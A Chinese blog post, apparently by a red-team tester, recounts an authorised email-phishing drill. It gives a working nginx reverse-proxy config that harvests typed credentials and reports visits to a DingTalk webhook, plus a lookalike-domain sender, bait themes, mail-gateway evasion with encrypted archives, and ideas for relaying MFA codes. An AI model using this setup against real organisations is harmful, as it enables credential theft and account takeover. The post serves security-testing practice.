banner
毅种循环

毅种循环

请将那贻笑罪过以逐字吟咏 如对冰川投以游丝般倾诉

邮件钓鱼论 之一

记录一次之前的钓鱼。

之前有个甲方开展演练,不限制攻击手法,正巧一般都是硬打进去的,这次正好写一下钓鱼。
很简单,全是基础的东西,轻喷。

0x01 为什么要钓鱼#

正常来说,无论是护网还是高级渗透项目,目标肯定是做了好几轮测试的,要从外围找到点,很难。
但是在允许钓鱼的情况下,人的习惯行为存在安全风险的因素往往要大得多。
员工充满了不确定性,这也是 EDR 和杀毒无法保证的一个地方。
本文是一次邮件钓鱼,当然除了邮件钓鱼外,我们还可以 U 盘钓鱼,wifi 近源钓鱼,社交工具钓鱼等方式,具体使用什么方式做钓鱼演练,还要结合目标实际情况,针对性的进行方案设计。

0X02 信息收集#

在钓鱼活动之前,先得清楚谁是那个谁是鱼,一般来说只要不是针对特定单独目标的,往往是群发的,都需要做信息收集。

需要收集的信息有:

  1. 姓名
  2. 职务
  3. 手机
  4. 邮箱信息

其中最重要的就是邮箱信息,建议从以上几个地方获取信息:

  1. 搜邮箱
  2. hunter
  3. snov.io

其中搜邮箱可以从域名获得邮件信息。
image.png

无论使用的是哪种途径获得了邮件信息,都离不开两步,去重和验证存活。
验证存活的地方不多说,很多服务商都有提供这种服务。

本次案例没有进行前期的邮箱信息收集,而是用了一个漏洞获取到了该目标的通讯录,根据职位和部门准备了鱼饵。

0x02 鱼饵准备#

确定目标之后,接下来就是准备鱼饵,鱼饵的选择有很多,常见的是目标和鱼饵如下:

  1. 放假通知:这个针对全员部门,攻击者需要冒充的角度肯定是 HR。
  2. 薪资调整通知:这个针对特定人或者一个部门都可以,实践中成功率相当的高,冒充的角度也得是 HR 或者部门经理。
  3. 商务合作洽谈通知:这个攻击面只能是针对市场运营或者部分特定人,冒充的角度可以是外部联系人。
  4. 检举材料:建议少用,一些比较大的企业具有一个反贪的部门,这个部门的信息往往是公开的,攻击者只需要捏造一些关于某领导或者某分部存在的负面信息,也包括桃色新闻。我就没看到过不点开的,这是他们职责所在。利用此钓鱼,往往都会成功,但是事后影响会特别严重,实践中也不乏有登报道歉的案例。

钓鱼是让你钓鱼,不是让你造谣惹是生非的
总体来说,无论是利用什么,总的还是利用一个人的心理,只要标题够巧,能吸引人点击,就算成功。

0x03 鱼钩制作#

制作鱼钩前,得想清楚两件事:

  1. 是要获取单独人的 PC 权限?

思考:

  • 获取 PC 权限需要执行文件,在此之前,你确保你了解对方所使用的杀毒软件?
  • 你所制作的 EXE,能够在不同的 Windows 版本 / 环境上执行吗?
  1. 是要获取尽可能多的密码?
  • 获取尽可能多的密码的情况下,必定要大规模的批量群发,比较敏感的部门,你可能只有一次机会。获取到的这些密码准备用来干什么?

钓鱼无非就权限或者密码本,想清楚这两个不同的方向带来的收获往往不同。权限当然是最快的,但是得考虑杀毒,密码可能是收获不大的,但是动静较小。

0x04 钓鱼页面准备#

抛开上面的附件钓鱼不谈,很简单,只需要想方设法的让对方点击附件即可,一般都是直接附带在邮箱里,利用加密压缩包绕过邮件网关检测。
有些检测比较严格的,会单独拦截附件的,就要使用比如把附件单独拉一个网站上让目标人员主动去进行下载。
重点在于,钓鱼的页面需要结合客户的系统去进行冒充,对于外部的方式建议是用 oa,mail,VPN 等页面进行仿冒。
对于内部,如展开二次钓鱼的情况下,建议是对目标内部关键系统进行冒充,假如知识库,堡垒机,代码库等页面。

无论最终采用哪一种方式,都需要尽可能的减少目标的感知。

介绍到此结束,下面进入实践案例。

0x05 实践#

在此之前,小伙伴已经拿到了通讯录,经过前期的踩点,我们也找到了处于外部的 mail 系统,同时也发现了外部的 VPN 系统。
个人的思路就是,套取更可能多的密码,用来碰撞 VPN。
利用 nginx 反代去套他们的页面,只需要监听日志即可获得账号密码,无成本的利用方式。

server {
listen 80;
server_name example.com;  # 需要替换为钓鱼网站的域名
access_log /var/log/nginx/access.log;

location / {
    proxy_pass http://phishing-site.com;  # 需要替换为钓鱼网站的真实 URL
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

# 记录用户访问信息
access_log /var/log/nginx/phishing.log;

# 将用户访问信息推送到钉钉机器人
post_action @notify;
}

location @notify {
internal;
proxy_pass https://oapi.dingtalk.com/robot/send?access_token=YOUR_ACCESS_TOKEN;  # 需要替换为钉钉机器人的访问 token
proxy_set_header Content-Type application/json;
proxy_set_header charset utf-8;
proxy_method POST;

# 钉钉机器人推送内容,包含用户访问信息
proxy_set_body '
{
    "msgtype": "text",
    "text": {
        "content": "用户访问了钓鱼网站:$host\n访问IP:$remote_addr\n访问时间:$time_local"
    }
}
';
}
}

以上是一段反代配置,并且提醒给钉钉的机器人,就不用一直看着日志了。

在套好模板之后,开始计划鱼饵,我选用的鱼饵也很简单,就是一份处罚公告,具体如下:
image.png
此处的邮件服务器是买的一个相近域名来做的,假如目标是 baidu.com。
购买的域名是 baldu.com,邮件主题为 hrm @baldu.com。
蓝色部分是超链接,实际指向为反代后的地址。
拟了一份根据规则行为制度所写的处罚报告,附件里给出了公司的行为规则 PDF,以及目标群体的姓名和邮箱。
选取了大概 30 个人发送一批,依次发送了 3 批左右。
image.png

效果很好,大概收获了二三十个账号密码,利用一些员工的账号密码也成功的登陆上了 VPN 系统。
图就不再展示了

0x06 思考#

钓鱼和社工都是一门艺术,我见过有靠纯钓鱼和社工打穿目标的大佬,所展现的心理素质和各种身份的切换,炉火纯青。。
本文只是一个简单的引用,水坑攻击中要高级的多,存在数不胜数的利用方式。
代码需要结合目标所处的环境来编写,假如目标的关键系统设置了手机验证码,如何在他输入正确的验证码之后迅速传回到你这边来呢?
假如对方一直爆破你的登录口,填充错误的信息,是不是该筛选杂乱数据出去呢?
假如做的很单薄,目标一直去登录你的页面却迟迟登陆不进去,是不是可以做一个判断账号密码是否正确,正确的进行 302 重定向来不引起目标的注意呢?
这方面该学的确实还有很多。
打点?不如钓鱼.jpg
b5d4092a8f7a41cf0e9c3e6c1e6efff.jpg

0x07 题外话#

想起一个题外话,有一次被蓝队反钓鱼了,非常之有趣。
有机会可以写写这个事情。

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。